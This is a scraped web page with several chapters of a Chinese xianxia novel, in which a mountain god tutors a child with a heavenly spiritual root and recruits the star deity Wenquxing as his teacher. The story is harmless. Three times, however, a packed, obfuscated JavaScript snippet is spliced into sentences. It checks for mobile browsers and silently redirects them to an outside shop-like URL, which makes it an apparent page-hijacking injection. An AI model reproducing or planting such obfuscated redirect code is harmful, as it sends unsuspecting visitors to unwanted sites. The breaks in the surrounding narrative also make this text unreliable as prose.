和慕无奈地看着闻人声,抬手掐了一下这小孩的脸颊。 小孩就是小孩,连想法都这么天真。 且不论闻人声能不能在短短一年内从文盲学成大儒,光是天灵根融合这件事,和慕就得花费不少力气。 被尘敛剖走的那一半天灵根,和慕已经用术法尽数抽取回来了,但是这一半天灵根被剥离体外之后成长速度脱离控制,如今的力量早就超越了闻人声所能承受的极限。 换言之,它现在并不认主。 和慕必须要设法压制它的脾气,再将灵根引入闻人声体内,不仅如此,闻人声还需要一段时间的清修闭关,才能防止灵根反噬。 等天灵根完全融合后,三四年时间已过,闻人声都长成大孩子了。 到那个时候,闻人声还想不想当大侠都说不准呢。 “啊,不行啊……”闻人声失望道,“好吧,那我就再多用一点点时间,没关系,我也不是很着急的。” 说着“不着急”但闻人声的表情还是显而易见地流露出不情愿。 在经过了归一剑宗一事之后,他心底想要变强的愿望变得愈发强烈,就连方才在睡梦中,他都幻想着自己当了大侠,又成为了天下第一剑修,幸福得直冒泡。 他很着急,就像新得了宝物的孩童,迫不及待地想要玩上一整天。 但他不愿意去读书,还有另外一个原因。 如果当了书院的学生,那他就没办法一整天都和山神待在一起了。 山神是他新的家人,他还不想和家人分开。 闻人声忍不住叹气起来。 唉……如果是山神教他读书就好了。 那这样一来,既不用担心和山神分开,还能顺便央求山神教他学武,简直是一举两得。 想到这里,闻人声脑中忽然灵光一现。 他重新打起精神,又双手抓住和慕的手臂,追问道:“那那那,谁来当先生教我呀?” 和慕弯了弯眸,反问道:“你想让谁来教你?” 闻人声快速地瞥了和慕一眼,随后又赶紧收回目光,欲盖弥彰地说:“不是你的话……也可以!” 和慕手指点着脸,有些为难地看着闻人声。 他倒是想教,但很可惜,他自己也没念过什么书。 和慕飞升之前做过镖师,当过杀手和护法,飞升后还替天庭打赢过一仗,做的基本都是动刀动枪的行当。 虽然还不至于活了几百年依旧是个文盲,但要当先生教书,那还是差了点。 和慕本想直言拒绝,可闻人声就这么忽闪着大眼睛望着他,眼里的期待简直能发出巨大的光芒来闪瞎人。 和慕第一次对一个孩子的目光感到畏惧。 他不自在地动了动身子。 闭上眼,又重新睁开眼。 可闻人声还是目光如炬,眼睛清亮得像只幼犬,直勾勾地盯着他看。 “……” 片刻过后,和慕实在招架不住,最后难耐地抬手遮住了闻人声的眼睛。 “……好吧,我知道了。” 他叹息道, “我会教你的。” 闻人声脸上的神情瞬间像花一样绽开了,他躲开和慕的手,兴奋地抓紧了和慕的护碗,忍不住原地跳了跳。 “太好了!”他高兴地喊道。 那这样的话,他就愿意读书了,反正是和他最喜欢的山神待在一起,再多一百年也没有关系! 闻人声实在是太兴奋了,他一想到以后的生活也会一直有山神的陪伴,整个人都像被泡在蜜水里,心情都是甜丝丝的。 雀跃之余,他忍不住飞扑上前,一下子抱住了和慕。 “好开心,”他整个人埋在和慕的怀里,晃着脑袋蹭来蹭去,“……特别喜欢。” 和慕猝不及防被这小雀儿扑了满怀,手都愣在半空。 低头一看,闻人声就跟个灰团子似的,圆圆的脑袋不停地贴着他,嘴里还叽里咕噜嘟囔着一些话,可爱极了。 和慕轻笑了声,一只手捏了捏闻人声的后颈。 “这么喜欢蹭人,是小狗吗?” 听到这话,闻人声才猛然惊醒过来。 简直、、太唐突了! 他连忙松开怀抱,脸颊都晕开了绯红色。 他一时不敢对上和慕的目光,只能捏着衣角仓促地解释道。 “家人,都是这样的,”他顿了顿,又故作成熟地说,“你要慢慢习惯哦。” 说完这句,他也不管和慕什么反应,自顾自地就哼起歌来,同手同脚地离开了房间。 * 和山神做好了约定后,闻人声心头悬着的心事就落下了。 不过虽然约好了要学习,但闻人声这会儿刚苏醒,肚子饿得咕咕叫,完全没有读书的心思。 和慕便简单做了两个斗笠,两人又偷偷摸摸下了山,去逛了湘城的夜市。 湘城并不算下界的富庶之地,仙门百家也不怎么重视,这儿除了一个已经倒台重整的归一剑宗外便没什么成气候的帮派。 正因如此,湘城百姓的生活还算安定。 闻人声两只手小心地拨开斗笠的纱帘,好奇地张望了一圈。 湘城没有宵禁,夜市比白日里热闹许多,沿路过去摆了五花八门的摊位,闻人声两只眼睛都忙不及看。 不过他还是优先照顾自己的肚子,四处嗅着食物的香气。 和慕随手把闻人声斗笠的纱帘重新盖好,说道:“藏着点儿,你现在可是红人。” 闻人声抬头看看和慕,不解道:“红人是什么意思?” “意思就是,你很出名。” 说完这句,和慕头也不回地从路过的摊位处顺了串糖葫芦,递给闻人声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517752|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还没等那摊主喝止,和慕又变戏法似地从手里抛出几枚碎银,一弹指,刚好将它打到了摊主的手心。 闻人声接住糖葫芦,眼睛放着熠熠光辉。 “喔——大侠买糖葫芦的方式!” “幼稚,”和慕把手背在脑后,纠正道,“这是神仙买糖葫芦的方式。” 闻人声看了看和慕,点点头,严谨地说:“嗯,这是神仙买糖葫芦的方式,那我先当大侠好了,当完大侠再当神仙。” 和慕笑了笑,不说话。 闻人声把糖葫芦放到嘴边大啃了一口,随后心满意足地捂住脸,感叹道:“特别甜。” 咬完这一口,他记起和慕没说完的话,又主动扯了扯他的衣服。 “然后呢?为什么我现在很出名呀?” 和慕任由他拉着,说:“当然是因为你用的剑气啊,一下子干掉了一个大乘期,连我十岁的时候,也顶多干掉一个化神期的。” 闻人声都被他夸得不好意思了,他矜持地咬了一口糖葫芦。 和慕继续说:“剑宗的人见你出了这一剑,便也知道自己胜算不大,挨个跪在那里投降了。” 闻人声追问:“然后呢然后呢?” “真想知道啊?”和慕忽然停下步子,冲闻人声手里的糖葫芦抬了抬下巴,“给我吃一口。” 闻人声看了看自己手里咬了一半的糖葫芦,有些羞赧道:“可是已经吃了一半了……” 和慕全然不介意,他俯下身,趁闻人声说话的间歇,把他没吃完的那颗咬走了。 “咔哒”一声咬碎了冰糖,和慕尝了尝里边果肉的味道,微微皱起眉。 “小孩真爱吃这种东西?”他说,“这么酸。” 闻人声点点头,迫不及待地把话题重新说回去:“然后呢,他们投降之后你做了什么呀?” “哦,”和慕说,“我用三清铃挨个摇,挑能杀的杀了,然后把门派解散了,只留下了院里那条狗。” 他顿了顿,又说, “只是可惜,最后还是跑了一个。” 闻人声歪歪头:“跑了谁?” 和慕说:“那个假无涤,我赶到的时候,他已经隐遁走了。” “假无敌。” 闻人声若有所思地重复了一遍。 那时他出剑的注意力完全集中在那个白胡子的老头身上,的确没有注意到冒牌货的身影。 看来是早有打算遁逃的。 如果他跟那个白髯的长老一起进攻的话,闻人声的剑气未必能有机会挥出来。 那为什么要逃呢?真是奇怪…… 不过闻人声只想了一会儿,很快就把这个疑点抛之脑后,拉着和慕到处闲逛买东西吃了。 * 两个人在夜市一直玩到近子时。 直到和慕见闻人声实在困得不行了,这才把人背起来,找了个无人的角落用缩地术回到了芳泽山。 一到家,闻人声就自动摸索到了床边,把外袍脱掉叠好后就钻进了被褥里开始呼呼大睡。 和慕则是把他买回来的那些小玩意儿找地方摆了摆,这才回到卧房去看了眼闻人声的状态。 刚进门,便发现闻人声把自己埋在了被褥里,一根头发都没有露出来。 和慕无奈地叹了口气。 他捏着被角一掀开,脸上做出了一副“果然如此”的表情。 被子底下的小孩已经不见了,只剩一只团着尾巴睡觉的垂耳小狼,被捂得毛发都有些打湿了。 这几天闻人声昏睡过去的时候,化形术一直都处于解除状态,只有他醒过来时才会重新变成人类。 可闻人声本人却完全没有察觉到,还觉得自己藏得很好,每天张口闭口都说自己是没有尾巴的人类。 真的好笨。 14.发现山神 第二日晨早,芳泽山的晨雾还未散去,闻人声就被和慕扯去藏经阁读书了。 山神庙虽久不经人住,但不管是闻人声住的禅房还是这儿的藏经阁,都不是什么穷酸古朴的制式,反倒是透着一股世家名门的典雅,都叫闻人声有些不习惯了。 他收腿坐到静室的长案前,闻着这儿淡淡的松烟墨香,好奇地四处张望了一圈。 接下来的一年时间,每天都要在这里温书学习了。 虽然精神还是困茫茫的,但闻人声一直坚定说到什么就要做到什么,心底的抵触经一夜好睡也早就消失干净了。 现在的他已经和山神成为家人了,一定要更加努力,追上山神的步伐才可以。 “我也不知道你这个年纪该从什么东西学起,昨晚我去问了问湘城书肆的老板,他说这个比较适合你。” 和慕坐在闻人声对过,将一本书册推到闻人声面前翻开,说, “算术。” “算术。”闻人声重复一遍,点点头。 那就是数东西吧? 他以前经常帮族长清点兔子窝的兔子数,算术对他来说应该不算很难的东西。 闻人声给自己做足了心理准备,他挺直背脊,集中精力看向面前的算章。 很好,这就开始学第一道题。 山神告诉过他,江湖上的大侠都是饱读诗书的聪明人,山神也一定是这样过来的,所以他也必须要刻苦学习,成为……诶、这个、第三个字念什么来着…… 一边的和慕哪想得到闻人声思绪这么发散,他只知道这小孩昨日还不情不愿的,今天一下子就认真起来了,心中颇为满意。 他便没再打扰专注的闻人声,起身随手拿了本山下买来的闲杂书,靠在一旁的木梯上信手翻阅起来。 “天灵根就是好啊,学什么都快。” 然而,一直到书翻完了,也没瞧见闻人声动一下笔。 和慕终于忍不下去了,他扣下书绕到闻人声身侧,一只手按上桌面,疑惑道:“有这么难吗?” 闻人声这才抬起头看向和慕,委屈地指着手里的算册,嘟囔道:“这里好多字我都不认识。” 和慕:“……” 差点忘了,从小跟兔子住一块儿的小妖怪能认识什么字儿? “好吧,我替你认一认,你听好了哦?” 和慕于是把他手里的书往自己这儿扯了扯,看向上边的第一行字, “这题说的是,今有雉兔同笼,上有三十五头,下有九十四足,问雉兔各几何?”[1] 听和慕念完题,闻人声就感觉脑袋边上全是鸡和兔子在乱蹦乱跳,还不停地在咬他的耳朵。 这跟他想象中的数兔子完全不一样。 闻人声咬着笔,迷茫地摇摇头,再度向和慕投去求助的目光。 可这回和慕却没再做出那副游刃有余的姿态,他皱着眉把题目看了两遍,似乎也很苦恼的模样。 “这个……” 闻人声小心地问:“你不会吗?” “我当然会了。” 和慕矢口否认,干脆从闻人声手里接过笔,席地而坐,写写画画起来。 “等着。” 闻人声手中一空,愣愣地眨了眨眼。 被、被抢走了! 桌上也没有多余的毛笔了,闻人声也不好意思打断专注解题的和慕,只好鼓起脸盯着他,坐在原地干等着。 就这样,藏经阁线香一点一点焚断,闻人声一直等了好久,连屁股都坐麻了,和慕还是没解出答案。 “好慢……” 闻人声幽怨地看着和慕。 什么啊,山神根本就什么也不会。 他撅了撅嘴,决定不再寄希望于和慕,自己先学后面的东西。 闻人声重新拿过算册,把第一页的鸡和兔子翻走,看向第二页的算术题。 好在后一道题看着简单许多,上边大部分的字闻人声都认识。 他拿手指一个个字指过去,慢吞吞地念道: “今有物,不知其数。” “三三数之剩二,五五数之剩三……[2] “七七数之……问物……呼……” 题还没念完,闻人声就感觉被瞌睡虫攻击了,他有预感自己再念下去一定会一头栽倒,然后弄得自己满脸墨汁。 闻人声打了个呵欠,最后选择主动趴在桌上学习,防止自己被墨汁弄花脸。 “七七数之……剩……” 趴着嘀咕了没多会儿,闻人声也没办法集中精力,忍不住开始分心玩自己那个手影游戏了。 他一只手摆了个小狗手影,在自己面前晃来晃去,还变了个音调,模仿它说道: “闻人声,为了成为大侠,你一定要特别特别努力地学习。” 接着他又换回自己的声音,回复道:“但是我真的好笨啊,什么也学不会。” 手影说道:“就是因为没有学习,所以才这样笨得要死啊?” 闻人声说:“但其实当大侠根本就不用饱读诗书吧,明明山神自己也没有读过很多书的样子呢。” 手影刻薄地说:“闻人声就是想要偷懒,想要走捷径,还总是给自己找借口。” “……” 闻人声回答不上来了,他昏昏沉沉地闭上眼,意识轻飘飘地回到了晨早的梦境中。 …… 而待到和慕终于把鸡和兔子分成两个正确的数字之后,时间已经过去一个多时辰了。 他舒展了一下身体,有些高兴地说:“好,我来教你——” 话说到一半,便发现一旁的闻人声已经栽倒在桌上呼呼大睡了。 “喔,这么困啊?” 和慕压下声音,小心地凑过去看他。 闻人声靠着手臂睡得很安静,也很收敛,连呼吸都是轻巧的,从和慕的角度看过去简直像个柔软的白面团,感觉咬一下脸颊肉就会哭。 这样想着,和慕忍不住戳了一下闻人声的脸。 好软。 * 第一天的学习没能开个好头,后来的几天也就一直处于“和慕专心做题,闻人声呼呼大睡”的不良状态中。 这样的模式一直延续了小半年,闻人声终于有些忍不下去了。 这日在静室坐下后,闻人声抱着自己的书,颇是幽怨地看向和慕。 和慕一下就品出他目光里的不满,他搭起臂看着闻人声,挑眉道:“今天又怎么了,大小姐?” 闻人声撇了撇嘴,嘟囔道:“山神还没有我聪明。” 和慕又气又笑,他俯身轻轻戳了一下闻人声的脑门,反问道:“小没良心的,不是你让我当先生么?” 闻人声这会儿又不认了,他轻哼一声,别过头赌气道:“我当时说的是,山神不来教我也可以,没有说一定要山神来教。” 说完,他又忽然觉得自己的话很不妥帖,又赶紧改口:“不、不过也还好吧!我现在已经会自己学习了。” “嗯,一点点。”闻人声顿了顿,小声补充一句。 虽然按照这个速度,他学五十年才能把算术给学完。 后半句话闻人声憋着没说。 和慕倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529711|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不生气,他当然知道这半年的学习没什么效果,闻人声也基本一直在睡觉。 而一直放着没管,主要是因为他去天庭请的救兵总推辞说是没空,花了他好大一番功夫周旋。 好在,今天他总算是把人请来了。 “既嫌我教得不好,”和慕说,“那我给你请个厉害的先生来,你愿不愿意?” 闻人声眼睛亮了亮,他手指绞着衣角,偷瞄了一眼和慕,发现和慕并没有生气。 他于是坐正身子,问道:“不用下山,也不用离开你吗?” 和慕弯起眸,说:“当然了,这里是你的家。” 一听到这句话,闻人声绞衣角的动作更快了。 他沉默了一会儿,最后期期艾艾地说:“我、我没有嫌弃山神笨哦,嗯……就是我,我想快一点成为大侠,这样就能守护这个家了。” 说完这些,闻人声的头就垂得更低了,他盯着被自己捏得皱巴巴的衣角,声如蚊蚋地补上一句: “没有要山神不开心的意思。” 听这小孩百般解释,和慕也领会了他的心思。 他蹲下身搓了搓闻人声的脸,笑道:“文曲星,话本里见过没有?” 文曲星? 好熟悉的名字。 闻人声努力回忆了一下,这才想起来。 几年前他爱在山下玩,那时候坊间有本很受小孩欢迎的杂书,名叫《梦游登八仙天榜外一篇》。 这书讲的是一个人做梦去天庭逛了一圈,回来后就把见过的神仙全部都写在了这本小册上。 湘城的孩子和少年都爱看这“天榜”,他们还会在这册子上留下一些痕迹。 只要是自己喜欢的神仙,就在法号后面画下一道竖线,以表示自己是这个神仙的“信徒。” 闻人声翻过两页,那榜上写的都是赫赫有名的神仙,什么元始天尊,东王公西王母,旁边还画了密密麻麻的小道道。 起先他还很激动,想着给山神的法号画一些□□道表示支持他。 可一直翻到最后两页,都没找到“苍玉真君”的身影。 翻了两遍依旧没有找到后,闻人声才失望地合上小册子离开,此后,他就一直对这“天榜”嗤之以鼻,认为这东西是骗小孩子的把戏。 什么天榜地榜的,没有山神的名字,一概都是野榜。 话虽如此,但那上面的确写过文曲星的法号,在闻人声的印象里,它后面的道道还不少呢。 想到这儿,闻人声恍然道:“喔,我知道——” 话说了一半,他就感觉有什么冰凉的东西缠上了脚腕,这触感吓得闻人声打了个激灵,顿时从蒲团上弹起身。 低头一看,长案下不知何时盘踞了一条灰白色的巨蟒,带着斑纹的躯体已经将闻人声与和慕二人团团围住。 那蛇身立起直有两人高,青绿色的瞳孔凝视着闻人声,蛇信翕动,似乎要把闻人声一口吃掉。 “……天灵根?” 那声音似人又非人,入耳后似乎字字句句都在发颤、回响,凝神一听又觉察不出怪异,很是诡异。 闻人声不怕蛇,但第一回见到如此庞然大物,到底是心中胆怯,忍不住抱紧了和慕的腿。 “就是这条蛇吗?”闻人声指着蛇小声说,“感觉看上去不太像教书的先生。” 和慕挠了挠闻人声的下巴,宽慰道:“文化人都这样,比较爱装,你谅解一下。” 闻人声“喔”了一声,纠正道:“是文化蛇。” 和慕点点头:“对,文化蛇。” 文曲星:“……” 15.吧唧一口 那条巨蟒“砰”地一声化作了一圈白雾,随后便见到一位束发的白衣女子从雾中缓缓显出身形。 闻人声好奇地打量着这位“文曲星”。 只见她敛手而立,两颊抹红,眼尾两抹烟霞斜飞入鬓,像戴了张生动的花面,扮相很艳丽新奇,像戏文里会写到的角儿。 闻人声瞳孔微微放大,忍不住小声感叹: “好高……” 感觉她都快和山神一样高了。 闻人声不免心生艳羡,双脚不自觉地踮了踮,试图让自己看上去不那么像一个小不点。 而那“文曲星”化作人身后,片刻没有停顿,直接大步一跨走至闻人声面前,拿扇子轻轻挑起了他的下巴。 “你是天灵根?” 她用质疑的目光审视着闻人声, “妖怪?” “文曲星”的花面突然一贴近,着实吓人,闻人声“啊”了一声,慌忙往和慕身后一躲,只露出两只圆溜溜的眼睛望着她。 “不是妖怪,”他双手扒住和慕的衣袍,气势微弱地反驳,“你有证据吗?” 说完这句,他张了张口,又想唤文曲星一声,却被和慕及时捂住了嘴。 “不要随便唤神仙的法号,”和慕冲“文曲星”递了个眼神,说,“叫你什么?” “文曲星”旋即将那青白玉的扇子往自己唇前一挡,矜持道:“叫我,一衿香吧。” 闻人声被捂着嘴,含糊地喊道。 “玉斤香?” 好奇怪的名字。 一衿香侧目打量几眼闻人声,眼睛转了转,问道:“要我收的学生,就是他吗?” 和慕颔首,说:“聪明,好教。” 闻人声见和慕介绍自己,连忙松开他的衣袍,往前走了几步。 他仰头望着一衿香,接着又低下头,乖乖地鞠了个躬。 “老师好。” “……” “……哦、哦!”一衿香被他吓了一跳,她忽闪着眼神,有些别扭地答道,“哦,嗯,你、你好。” 应完这句,她连忙摇起扇子掩饰自己的慌乱,又时不时偷瞄了几眼闻人声,小声自言自语了一句“长得倒挺乖”。 和慕听到这句话后眼神变了变,默不作声地把闻人声给拉了回来。 “你若不收,”他不客气道,“那还是我自己教吧。” 一衿香像听了笑话似的,轻哼一声,阴阳怪气道:“你一个匹夫,下凡后怎么还好为人师起来了?” “不过正好,我也不想每天从沧州跑来你这破山头教书,我的时间很宝贵。” “你要实在想让我教,那我就要把他接到我那里去,反正天灵根放在你身边也没什么好处,是吧?” “我那边虽然冷了些,但至少也是天榜第三的仙宗,说不定这小孩更喜欢……” 她一嘀咕就没完没了,可七七八八讲了半天,和慕只从她话里品出一个意思: 想抢人。 “少打主意,”和慕皱了皱眉,按住闻人声,打断道,“他就住在这儿,哪都不去。” 见和慕这不容商榷的态度,一衿香顿时连姿态都懒得装了,她暗嘁一声,狠狠翻了个白眼。 随后,她便手腕一翻,将扇子收拢,信手甩上长案,接着又变化出把椅子,搭腿往上一坐。 “实话和你说吧,”一衿香扶着额懒声道,“天庭最近在找天灵根,我得避风头。” 她顿了顿,目光转向闻人声。 “小东西,你身上的灵根不全,是不是?” 闻人声闻言摸了摸自己的胸口,点点头。 和慕先前说过,他的紫府空虚,识海不稳,体质又太虚弱,必须要先养好身体,另一半灵根才能融合回来,否则就没办法一下子承受住那么强大的灵流。 但是灵根并不是食物,能一直贮藏在体外,融合是有时间限制的。 一衿香说:“那就对了,天灵根是命定的飞升者,只要灵根脱离人身一段时间,就必然会被天庭觉察到。” 她眯起眼看向闻人声,缓缓道: “所以,你很危险。” 很危险。 闻人声在心里重复了一遍。 不知怎地,他不光没有什么害怕的感觉,反而隐隐有些兴奋。 比起窝在藏经阁读书,他还是更想要亲自拿剑战斗,毕竟那样才更有成为大侠的实感。 一想到自己衣袍猎猎,一手执剑在武林中大杀四方的模样,闻人声就忍不住鼓起脸偷笑起来。 和慕见状捏了下他的耳朵:“说你危险,还傻乐。” “没有。” 闻人声嘴硬了一句,立刻板起小脸。 “我不想惹麻烦,”一衿香换了条腿搭着,继续懒洋洋地说,“何况我要是把这孩子押回天庭,今年的仙班大比魁首就非我莫属了,你找我帮忙,真的不担心?” 和慕扯了扯嘴角,没有答话。 他请一衿香来,不光是为了让闻人声脱盲,最主要的目的是帮他提高悟性,感通天地。 这一月来,和慕每天都在尝试压制另一半天灵根的力量,力求早日将其渡回闻人声体内。 然而他还是低估了天灵根的成长速度。 天灵根几乎每天都在吸收自然之气,这不过半年时间,它如今的力量已经成长到化神期的水平了。 再这样下去,天庭迟早会发觉天灵根的存在,保不齐还会对闻人声痛下杀手。 他需要一个帮手。 文曲星是最好的选择,她能最快地帮助闻人声提高通悟的能力,早日融合天灵根。 和慕顺了两下闻人声的头发,说:“这小孩半年前用我的佩剑斩了一个大乘期剑修,这个条件,够不够当你的学生了?” 一衿香顿时嗤笑出声:“开什么玩笑,一个毛都没长齐的……” 话说到一半,她瞥了眼一旁乖乖站着的闻人声,又轻咳一声改口道: “他身上只有一半灵根,哪怕是天灵根,也完全不够格操纵神武,说什么胡话。” 闻人声一听,顿时有些着急,他抢在和慕之前,鼓起勇气插话道:“没有开玩笑,是我用自己的力量做到的,我可以和这些武器对话。” 听到这话,一衿香仍是不以为意。 “是吗?”她漫不经心道,“若是你真有这样的能力,倒是我眼拙了。” 闻人声见她不信,不高兴地抿了抿唇。 文化蛇,真的好装。 但是闻人声并不是会轻易放弃的人,他的目光越过一衿香,停在了她身后长案的那把青白玉扇上。 事实胜于雄辩。 这是闻人声这几天读书学到的一句话。 山神告诉过他,天灵根可以沟通世间万物,是“自然”本身,他可以做到和色杀共鸣,那就一定也能和这把青白玉扇沟通。 闻人声嘴角往下撇了撇,努力地调动自己体内那点儿稀薄的灵力,开始尝试和青白玉扇共鸣。 这扇子没有跟闻人声接触过,不像色杀这般主动,但幸好闻人声已经有过一次通悟的经历,与神武呼应会比以前容易得多。 他几乎憋红了脸,用尽浑身的精神力,终于让青白玉扇就微微颤动了一下。 和慕轻咳一声,示意一衿香看看自己的武器。 一衿香侧脸看去,冷笑了声:“就这点程度……” 话还没说完,在一衿香的目光里,那扇子竟缓缓飘升至了半空,如逢春的花苞一般,慢慢张开了扇骨。 而在那扇面中心,灵力自发凝聚成了三个笨拙的字体。 玉斤香。 一衿香:“……” 一边的闻人声觉得擅自碰她的扇子不大礼貌,便没有尝试让玉扇落入手中,只是这样悬停在了半空。 做完这些,闻人声长舒一口气,重新看向一衿香,说话的底气更足了。 “没有说谎,是真的。” 他真的有能力干掉大乘期的剑修,也真的有办法跟神武对话。 一衿香望着青白玉扇,眸光深邃,久久不语。 武器是陪同修士一起飞升的,在修士拥有神格的同时,他们所持有的武器也会变化为有灵性的“神武”。 器主之间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538061|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂相伴,可以说比骨肉至亲还要亲密。 而他们才第一次见面,闻人声竟然能直接操纵这把跟了她数百年的神武。 这可是很恐怖的能力。 一衿香真的沉默了很久,久到闻人声都有些心慌了,她才终于把目光重新放到闻人声身上。 这回没有再带着审视,而像是换了种更平等的姿态,她冲闻人声抬了抬头,问道: “你叫闻人声?” 闻人声用力点头:“嗯!” “你想学什么?” 闻人声想了想,答道:“能让我进入江湖之后,成为更好的大侠,然后、然后,以后能快点修道飞升的东西,我全都想学。” 一衿香一抬手,浮在半空的青白玉扇便自觉飞回她的手中。 “好,我会收你为徒,”她顿了顿,强调一遍,“只有这半年,但我会倾尽所能,让你学会通悟天地的能力。” * 文曲星毕竟是文曲星,为人师实在比和慕实在靠谱了许多。 光是算术这一块,一个下午的时间,闻人声就已经超越了和慕那拙劣的算术水平,任何关于鸡和兔子的算术题都能迎刃而解。 夜里一衿香走的时候,闻人声还有些舍不得,缠着她又讲了几个天庭的奇闻轶事,这才肯跟她告别。 一衿香走之前还送了闻人声一本叫《天庭秘史》的卷轴,上面记载了天庭的一些杂事,她叮嘱闻人声要在和慕不在的时候偷偷看。 闻人声抱着这卷轴,一蹦一跳地跟在和慕身边,欢快地往自己卧房的方向走去。 和慕侧目瞥了他一眼,借着明月,能瞧见闻人声的蓝眸中熠熠发光,比天边的星斗还要漂亮。 “这么开心啊?”和慕收回目光,酸溜溜地说,“怎么我当你先生的时候,你就没这么开心过?” 闻人声立刻收起笑容,反驳道:“不要胡说。” 和慕耸了耸肩,故技重施问道:“胡说了吗?那你更喜欢她,还是更喜欢我啊?” 闻人声已经不吃他这套了,他撅起嘴拉住和慕,认真地教育他:“山神这样特别幼稚。” 和慕笑了笑,故意点了下闻人声的脑门:“你把我晾在一边,还不准我生气呀?你这小孩怎么不讲道理。” 闻人声摇摇头。 “没有不讲道理。” 接着他冲和慕招了招手,神神秘秘地说:“你蹲下来一点,我有话要对你说。” 和慕于是依言蹲下身子,往闻人声那处倾了倾。 “说罢,我听着。” 闻人声往和慕身侧挪了挪,凑近他耳边,用甜丝丝的声音说道:“文曲星确实很好,她什么都能教会我,而且我学得特别快……” 和慕轻哼了声,打断道:“好了好了,知道你喜欢她了,干嘛还让我再听一遍啊?” 说着,和慕就扶着膝准备站起身。 闻人声顿时着急起来,连忙拉住和慕,喊道:“我还没有说完呢!” “那你要说什么?” “我、我我……” 闻人声咽了咽喉咙,着急地脱口而出, “我就是发现,虽然她很好,但是、但是……” “我、我心里最最喜欢的人,还是你!” 说完这句,闻人声闭上眼往和慕的脸侧“吧唧”亲了一口,随后就涨红了脸,像个小炮仗,飞快地蹿进了自己房间。 砰! 门阖上了。 廊下的空气猝然陷入死寂,只剩和慕一个人呆愣在原地。 他木了片刻,这才用手摸了摸刚刚被闻人声亲到的地方。 “………” 喜欢的人? 而且是……最最喜欢的? 和慕眨了眨眼,后知后觉地笑出了声。 他忽然意识到,先前那个爱脸红、说话会结巴的腼腆小孩,好像不知不觉已经学会了表达爱意的方式。 他看着自己手心,自言自语道, “这还真是……” 话还没说完,檐角蓄的雨水很不合时宜地砸到了他头顶,弄得他刘海都湿了一半。 16.我长大后 家人之间除了拥抱之外,还常常会有亲吻彼此的亲昵行为,这是一衿香今天教给他的。 学完这个,闻人声就满脑子想着一定要亲一下山神,让他知道自己有多喜欢山神这个家人。 没想到已经做足了心理准备,这会儿心情还是会这么不平静! 闻人声没敢细看和慕的反应,整个人几乎是飞扑进被褥里,拼命把自己包成了一团。 也不知是不是这动作太大,这会儿躲在被窝里,闻人声就感觉自己心跳噗通噗通跳个不停,好像胸腔里有只乱蹦的小鸟,差一点就要飞出来了。 他捂住自己的脸,整个人烫得像只刚烤完的山芋,连呼吸都有些混乱了。 “不行,快点冷静下来!” 闻人声拍了拍自己的脸颊。 不然就太没有出息了,哪有大侠会这么不稳重,亲一下自己的家人就害羞成这样的? 想到自己的大侠风度,闻人声连忙深呼吸了几口气,收敛了一下心情。 ……对了!看书吧。 文曲星说看书能让心情快速平静下来。 想到这里,闻人声赶紧跳下床点上油灯。 稍事平稳了呼吸之后,闻人声总算把注意力挣扎着从刚刚那个亲脸颊的场景中挣脱出来。 他小心翼翼地把一衿香给他的卷轴打开了。 “看书看书,一点都不能分心。”闻人声告诫自己。 这卷轴对闻人声来说并不难读,加之今天一衿香给他上过课后,闻人声认识的基础字就更多了。 他集中精神,很快就流畅地翻阅完了小半本。 这卷轴比话本还要有趣,记录的都是人间不知道的奇闻逸事,闻人声很喜欢看。 但一直翻到“无情道”这篇,闻人声才微微感觉到文字的晦涩难懂,速度慢了下来。 这篇章的开头写的第一行字,闻人声就有些看不懂了。 他挨个字指着,慢吞吞地念道:“当年三千情丝去……留名无情碑,偶得……天机?” “无情碑?”闻人声歪了歪头,“是什么?” 又往后翻了几页,闻人声才明白过来。 无情碑,就是天庭的一块石头。 它是立在天庭月老庙后山的一座石碑,碑文上刻的是所有修无情道飞升的神仙法号。 法号一朝在,这些神仙前尘的六亲之缘就会被彻底斩断,他们无法以任何方式去回应、表达情意,也绝无可能再与人结下情缘。 “原来是这样啊……” 那也太可怜了。 闻人声年纪还小,并不懂得什么情爱之事,只觉得没办法得到家人是件很可怕的事情。 何况神仙要活那么多年,总是孤孤单单的一个人,不会觉得很寂寞,很清苦吗? 他半知半解地读完了这一篇章,时间刚好近了亥时,闻人声便打着哈欠收起了卷轴。 他困茫茫地摸到了自己床边,滑进了被褥里。 “无情道……” 闻人声半睁着眼睛,喃喃着念了一遍。 他以后也会去修无情道吗? “无情”又需要做到什么程度,才能有资质飞升呢? 需要杀很多的人,还是和骨肉至亲恩断义绝? 闻人声侧过身,拿脸蹭了蹭柔软的被褥,缓缓阖上眼。 不管怎么样,闻人声都不想当一个无情的人。 